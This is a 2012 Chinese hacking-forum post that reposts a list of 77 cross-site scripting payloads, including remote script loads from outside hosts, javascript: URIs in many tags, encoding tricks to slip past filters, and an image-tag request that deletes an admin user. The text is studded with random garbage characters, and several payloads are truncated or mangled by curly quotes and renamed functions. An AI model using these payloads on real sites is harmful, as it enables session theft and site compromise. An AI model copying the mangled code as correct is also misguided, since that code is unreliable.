找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3471|回复: 0
打印 上一主题 下一主题

xss跨站脚本攻击汇总

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-5 14:56:34 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
貌似关于xss的资料t00ls比较少,看见好东西Copy过来,不知道有木有童鞋需要Mark的。
5 n. N: _* n7 G- ]3 {3 w4 G, D) @- }* T
(1)普通的XSS JavaScript注入
9 ]" P& U8 ?/ w/ h5 Z <SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
/ L1 C0 y3 M* ~9 o* g5 j" ?/ u. |" t* q: `; ^) C# Y- n2 I  }+ _, }$ d
(2)IMG标签XSS使用JavaScript命令0 y; K! n5 z  m; h* T5 U9 R
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>' ]; @$ b5 t! y

# `5 F; S( B7 n5 k (3)IMG标签无分号无引号& J4 U* w$ x. j( o3 z
<IMG SRC=javascript:alert(‘XSS’)>) Q, \! s6 Q: Q

6 f# \6 I# U& O (4)IMG标签大小写不敏感
/ \$ T5 P# U1 E% X <IMG SRC=JaVaScRiPt:alert(‘XSS’)>
6 V$ x* V5 S* T& ^, h; q2 G. G! a" \, E
(5)HTML编码(必须有分号)8 x$ O1 `4 N% n0 J( B. e
<IMG SRC=javascript:alert(“XSS”)>/ m- u8 j2 A7 e: v1 p

5 p2 H- A( Y" z+ F2 } (6)修正缺陷IMG标签
1 b& y. q! s+ ^) a  G1 }4 V4 m <IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
9 ]/ ~0 s; ^/ G1 u+ f; I0 T1 F/ W3 H  s8 ^( Z3 s
(7)formCharCode标签(计算器)
' \# k: y, c/ s. I; ?8 J <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>* K6 {" ]& L/ L" Y% z: O+ i

4 r1 y# ?0 r/ @7 n8 S9 V( n (8)UTF-8的Unicode编码(计算器): ?% E9 G* d% I- J. U! N; ?1 ?2 o
<IMG SRC=jav..省略..S')>/ `1 |" L+ C  u- ~' h7 C3 C7 x; O

- P  q3 D/ r7 `' O (9)7位的UTF-8的Unicode编码是没有分号的(计算器)8 S3 n, p- L- r' V
<IMG SRC=jav..省略..S')>
& G: B8 l$ X6 c; b0 ~$ E. b' E, r8 G* L& v5 t
(10)十六进制编码也是没有分号(计算器)
) X0 O% h5 Y. S4 y# ^ <IMG SRC=&#x6A&#x61&#x76&#x61..省略..&#x58&#x53&#x53&#x27&#x29>
0 \" \5 ]0 G0 z4 a# E. F4 s0 M# ~+ n! V0 {' u1 {3 a
(11)嵌入式标签,将Javascript分开) x( X+ N  F7 a) _
<IMG SRC=”jav ascript:alert(‘XSS’);”>
. \9 ?- j2 T5 v' V7 E6 k* ^1 \# u- R8 i& g$ g5 ^! }
(12)嵌入式编码标签,将Javascript分开
- R: i/ `5 ^3 b: h/ f. G; v <IMG SRC=”jav ascript:alert(‘XSS’);”>
  `+ I6 ~( N) s) s0 w
# M4 P+ _# H5 Y% l8 i: H& q% N (13)嵌入式换行符
% q! _% \, {0 j5 z: ^ <IMG SRC=”jav ascript:alert(‘XSS’);”>
2 h4 E% ?7 r1 s0 ^2 P7 N0 K# j! D3 g; P! M; \- D2 r0 y$ O% _
(14)嵌入式回车' w0 L$ }: Y7 |7 k( Q
<IMG SRC=”jav ascript:alert(‘XSS’);”>/ l5 [$ ?3 T2 O9 {7 I
9 G' |5 W5 `2 \( N
(15)嵌入式多行注入JavaScript,这是XSS极端的例子" p- ~3 z/ ]) _" g2 r' l
<IMG SRC=”javascript:alert(‘XSS‘)”># B* u6 l" ]3 s0 Y# {- t
8 `/ Q; G6 ]4 }; ^
(16)解决限制字符(要求同页面): {* U' \1 o' _4 H/ B
<script>z=’document.’</script>7 w  O0 J2 d  t6 q) O; Q- e1 y
<script>z=z+’write(“‘</script>
0 L2 t. J3 M. Q, p" [ <script>z=z+’<script’</script>; r6 x) [; E& y9 O2 K3 Z
<script>z=z+’ src=ht’</script>& O; J7 l5 g8 Z8 D/ J
<script>z=z+’tp://ww’</script>1 u" O2 y4 w8 z  U7 [
<script>z=z+’w.shell’</script>
* E8 {+ I" Q) ?4 ^$ z <script>z=z+’.net/1.’</script>
6 }4 W2 s, L* ]1 V! } <script>z=z+’js></sc’</script>" q4 z; [- E- l3 c% \9 d
<script>z=z+’ript>”)’</script>: `9 C* }$ ?! f: c7 l! J8 E
<script>eval_r(z)</script>
/ h* I- k7 M& l" _0 c# z3 c% c0 G* x' u4 \6 Z' @; _
(17)空字符
: v/ X( M  h8 W8 P& _( h, h3 E perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
# A$ @6 `* g  a  J2 j, q# T" o/ D3 v; E1 u9 y4 P# Y: l
(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用+ \( [" d7 @0 D5 R: g" `3 q
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out
5 C1 Q3 f1 ^: x: |/ {4 Z
/ `+ c% ^6 d$ Z (19)Spaces和meta前的IMG标签5 N# q% J/ d: i# o  P0 X8 u
<IMG SRC=”   javascript:alert(‘XSS’);”>
+ \& o2 ?0 U" q3 F" G
& {1 f8 e2 K* z& g( c/ N: o (20)Non-alpha-non-digit XSS3 S; z( a) \; E! \( [- r( S4 m* Q
<SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
2 j* V: h) R$ [
) ^- }4 k# {$ p$ c5 u( u, N  e (21)Non-alpha-non-digit XSS to 2
! K/ c# d' U! z# a+ ~ <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>+ p3 w4 p" l* H) J$ G: L+ X+ V  Q
; ]+ v; }, `9 q7 P7 E
(22)Non-alpha-non-digit XSS to 3) h1 P* }8 z' Z9 \8 P% R; I
<SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
$ k; p2 n8 f3 m/ P+ o+ P3 c; |8 K! J7 r" J
(23)双开括号3 d% ?& |, k/ g
<<SCRIPT>alert(“XSS”);//<</SCRIPT>$ p. X' Q% j. O3 q

1 ~5 b5 v8 Y) U1 B (24)无结束脚本标记(仅火狐等浏览器)
2 m1 N9 W. [* B <SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
# e' p/ `: h( J! C  ~! l' _; `$ [; [9 q8 b' t1 `
(25)无结束脚本标记2
" j  A' U5 p1 B5 @# F* y7 S0 ]6 G <SCRIPT SRC=//3w.org/XSS/xss.js>/ a, v/ Y/ D9 v! z2 q. i' H1 `+ {6 [

4 U, g7 @( [/ p: c4 A3 g, \ (26)半开的HTML/JavaScript XSS
. R3 A; l  t; x! s9 I <IMG SRC=”javascript:alert(‘XSS’)”
( x. A! c: g$ O+ |# z4 F* b" n% t
) S- L/ O: ]1 p2 U! e (27)双开角括号
) A, o' z9 d9 P/ ^# [ <iframe src=http://3w.org/XSS.html <: N2 O0 j. Z5 ?
( t) H% j) M9 ^  _& s9 O! G, B/ f
(28)无单引号 双引号 分号; J# ]. K0 z6 u2 C/ f4 i
<SCRIPT>a=/XSS/
( Y  ?. N# i& S: b: T8 F alert(a.source)</SCRIPT>1 R3 ]# V- l) r% z* t! ^8 f
7 {/ K+ k. Q$ {8 b" t
(29)换码过滤的JavaScript2 ^7 e( S  Y* H% W* s9 L
\”;alert(‘XSS’);//6 ^3 [, z: G5 e: Q% a6 G

! _+ u3 y! q7 _  N3 Y (30)结束Title标签: d1 L* A- L% P+ ?6 Q. w
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
0 g$ L7 n7 C. }1 ]  \3 Q$ d6 Z+ l! S& D% ^- b- c) {
(31)Input Image
% C  P: y3 P1 K$ j' Y4 l" a: p <INPUT SRC=”javascript:alert(‘XSS’);”>; K' C# n5 [" b  L3 @% U

! M) b+ H/ @8 L6 {; c+ s7 z4 D (32)BODY Image
4 K7 ^  P. n" ^3 n <BODY BACKGROUND=”javascript:alert(‘XSS’)”>
, _: z  v4 S: x  }7 K
) W7 ~) [4 @" E' E0 ~& i- A (33)BODY标签+ [) v3 ]! G& |% G
<BODY(‘XSS’)>+ d5 {7 |- k! l- U5 u
# K, d5 V/ C4 n, E6 {) {* X
(34)IMG Dynsrc
/ [" c2 u4 e6 o* ` <IMG DYNSRC=”javascript:alert(‘XSS’)”>
" d! {3 R1 p' V
- P/ e0 I) F+ j+ j (35)IMG Lowsrc& Z/ B: J3 b( c
<IMG LOWSRC=”javascript:alert(‘XSS’)”>' Q2 Y2 l. {3 T* W! g. ]

' }% L) n9 `) W2 T- @) h) } (36)BGSOUND* K& n6 g; ?2 t
<BGSOUND SRC=”javascript:alert(‘XSS’);”>
3 a" N. Y/ Y( M( Y/ C  u% o1 D7 q. Y4 ~
(37)STYLE sheet# i0 s! q) j. m7 {
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”># A( ?0 t  O' X3 y* A4 F
" k/ x/ D5 v+ G% B
(38)远程样式表
  b6 i; k$ C0 @" C <LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>, v# e; i6 w: O$ f# y( m, ~8 k3 ]
; L  r. k  Q* D7 t9 u* o1 W
(39)List-style-image(列表式)
# U0 a0 O' v7 Y <STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
" Q; w5 X8 N2 w$ M. I" a8 C7 P. j/ |/ A- ]) v( z+ d
(40)IMG VBscript
2 n5 k5 O5 z; B6 o: a <IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS
, t- n  ?# N4 H. l
4 l( h+ h/ r$ M (41)META链接url
" ]9 V& c6 a3 _3 P6 h. f <META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>
' B5 E8 _6 l, S) @" N6 ?2 h2 T( f1 r7 m* n5 w" h& h
(42)Iframe/ _+ g" k/ T5 F, G' l
<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>
+ C$ G: o/ l7 v4 L! d+ Z$ j( z# m1 M9 B+ {& D
(43)Frame
$ E! p' [! T" T, Y! A <FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>
9 }5 e/ v9 V, ~( V/ C/ a6 e  c, l$ }- ^% X9 P1 {. B2 {
(44)Table
4 o; ]( J5 {+ l& f2 {1 @8 c  [ <TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
. R( V) c5 N' g6 z) ?( W% h( I) \! i+ m2 Z  Z
(45)TD
+ c, N0 k! U8 X' A0 E5 n <TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>
) P" _/ ^. F, g) T6 e! ]* ~4 B! }- G& s. S
(46)DIV background-image
" L' z0 s" b% [# `- u+ U0 h <DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>! o. ^) ~7 W+ f$ |* ]9 c

: d6 }3 w' m4 Q5 B% N (47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
! l8 f, u( P5 a* R. g4 ]2 i4 C+ [/ ^. D <DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
3 f$ O* f- _- j* e
& u( B8 y1 e4 Q) @( `& o- O3 e (48)DIV expression
) q' f5 M- }7 Y6 |' B <DIV STYLE=”width: expression_r(alert(‘XSS’));”>6 r+ x: ]' p, G, Q% n. `$ ]1 e

5 i5 l7 X/ M" i" f (49)STYLE属性分拆表达- t7 Z: b$ f4 Y8 {
<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>
- \9 v3 G! x4 R8 @# C
6 `! J( s# G4 Y1 Y9 i. p (50)匿名STYLE(组成:开角号和一个字母开头)
8 k! \! u) G8 e# a0 |: Z% }8 j% { <XSS STYLE=”xss:expression_r(alert(‘XSS’))”>
, K, J1 m, p! G8 @
% C* C% J7 u# ?. Q& P- Z# a( j (51)STYLE background-image) U4 B4 ], @, ^9 T" t
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>
- ?! F, T/ ]* @* L1 ~* O, h0 d; [" z  n5 \! G. v# y
(52)IMG STYLE方式! i, k( }5 L6 R; ]8 F9 a7 A. w* I
exppression(alert(“XSS”))’>
, S! g3 v+ g/ m8 M. Y4 X/ U) ^8 e/ V" `1 T; T
(53)STYLE background5 J* T" w4 e* O' a2 L- T. D
<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
2 ]. N: g/ U8 x. G- \! n
8 S* K  ~5 {% P, ^# @2 t: f" Q (54)BASE
& [' a, f' X; F% n) F2 m <BASE HREF=”javascript:alert(‘XSS’);//”>
/ D# e  h) J. @* e
5 M& v- S6 E7 A0 K. J2 \ (55)EMBED标签,你可以嵌入FLASH,其中包涵XSS" c, ?7 ^6 o, S5 q
<EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>
5 t, P8 T" y( q% d; Y
7 P1 U. n9 i9 k/ n7 [3 [ (56)在flash中使用ActionScrpt可以混进你XSS的代码9 Q' x' `* \) ^& q9 P
a=”get”;* ]* p2 {. I4 r# o$ P( P7 ?
b=”URL(\”";* I2 U3 t! N/ Y; Y" W, R, _7 ?
c=”javascript:”;- \% G6 A; S7 J5 Y/ n( R6 B
d=”alert(‘XSS’);\”)”;
7 S/ e8 s  ?5 v" E  o! [% @7 Q eval_r(a+b+c+d);6 {, X  d, W# j2 ?: W1 }6 ?

6 u4 J7 Z7 P6 E* m, \2 R9 W6 r (57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上
9 h% J/ {" q. j1 X1 `, s <HTML xmlns:xss>
( @  `5 f+ a. ~; M8 n! ^7 o <?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”>
4 R8 A0 X  T. e7 F; w) k' t <xss:xss>XSS</xss:xss>
& f- g+ J' B, H. _; Q# | </HTML>
& Q) _5 R2 |' S& {9 M" W  v0 k2 Y
(58)如果过滤了你的JS你可以在图片里添加JS代码来利用% D6 U1 n5 E. i, T" p% V
<SCRIPT SRC=””></SCRIPT>) k+ f+ p$ d. ]/ Y& b4 J) a

1 K; d) z& O4 F! U" s, F (59)IMG嵌入式命令,可执行任意命令& m, L4 p( f/ }7 _  b: F
<IMG SRC=”http://www.XXX.com/a.php?a=b”>
9 H. \; V$ f) ]/ P* v
" d, j0 F6 ~- U0 ^9 Z (60)IMG嵌入式命令(a.jpg在同服务器)- w% H4 J  v! A: [5 o
Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser  }5 t; Z1 A0 A% i% z
( H. T) V+ v7 r
(61)绕符号过滤
6 z$ P) V. n' x7 P( Q' e0 Z' S  s( J <SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT>; [, c9 w' N* v$ ~5 n: b
+ k  F7 z8 s( s  a2 x3 z
(62)) r+ l! e* Q& V( K' @8 o
<SCRIPT =”>” SRC=”http://3w.org/xss.js”></SCRIPT>1 Q' i* p0 V4 i; E; D

$ d: x. ^+ t( W2 k (63)
/ L1 \% N$ y! c" Z( B0 k1 \* o <SCRIPT a=”>” ” SRC=”http://3w.org/xss.js”></SCRIPT>, e, F6 Z, C: \* V
0 l6 O* q4 h7 s" D* F, p
(64)
" D$ a# K; E+ s  K7 ` <SCRIPT “a=’>’” SRC=”http://3w.org/xss.js”></SCRIPT>+ C7 \) w1 |$ d3 ?0 F% j2 ^
5 p5 J% _. }  B7 q
(65)
9 U$ k( Y+ O, ~4 ?" z <SCRIPT a=`>` SRC=”http://3w.org/xss.js”></SCRIPT>7 c9 u, z0 L: u8 }

% }% v1 B5 o* Z1 @0 p1 r# l6 G3 M (66)/ d  i! U9 |6 g
<SCRIPT a=”>’>” SRC=”http://3w.org/xss.js”></SCRIPT>6 ~$ H9 \: i) }/ N& D) @  L4 I8 K2 y
  ]. k: S! i* ~9 o
(67)
! B& K5 l) W9 L, n <SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://3w.org/xss.js”></SCRIPT>  u: }' M, |0 V% `7 E

- o7 C0 B% [# x  b (68)URL绕行
+ J  M2 a/ @2 }8 _! E <A HREF=”http://127.0.0.1/”>XSS</A>
& M" `* v9 ^+ u8 m
+ Z- A! e; p. g) i& C3 | (69)URL编码: m% Q; _7 H7 _# r, m9 J
<A HREF=”http://3w.org”>XSS</A>
. J/ f: d7 p$ s9 ^! N6 V3 T/ l$ E. k! O: ~$ L2 X
(70)IP十进制' l- \+ ~8 J% d9 t
<A HREF=”http://3232235521″>XSS</A>
, M0 _7 T3 ]2 i# _3 g
7 l  c9 O5 p. P% r' n# {5 M5 g$ t- p (71)IP十六进制
; M, `( @# X& O/ S1 E9 I9 g <A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>" ?9 `7 @/ I" Z) X

) ^# J" j2 N% J. W: a$ U* | (72)IP八进制
- K, }# y' k" T <A HREF=”http://0300.0250.0000.0001″>XSS</A>! x7 d* Y' M' |# ]4 ^* R9 F
) \) ]' g# c, |: Q
(73)混合编码
- J5 P+ J/ W! |8 e/ W4 Y7 S <A HREF=”h
4 W  h; G  ~' E2 \8 T# }- u$ v% G tt p://6 6.000146.0×7.147/”">XSS</A>
3 a% D0 E3 C! a! l; \0 h7 P* L8 F: y0 Y# S* x
(74)节省[http:]
6 i6 N# o5 [6 R5 u+ K  }5 P <A HREF=”//www.google.com/”>XSS</A>; l  U2 }& Z  G
0 _& j. T+ ^# v. }! I! }2 ]
(75)节省[www]
2 V- r2 f( q3 G" y3 i+ y <A HREF=”http://google.com/”>XSS</A>7 G$ s$ ~7 Z% x& F
. p) ~! G: m) X" _8 X" g" n
(76)绝对点绝对DNS
6 w( J; d1 ^4 i7 y2 A <A HREF=”http://www.google.com./”>XSS</A>& K8 u' W4 P) H! @! {% z8 k. O) T
- P+ \5 d( f9 n: z! c* P4 s/ H
(77)javascript链接
- r! |; @+ G0 j8 \0 ] <A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A>
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表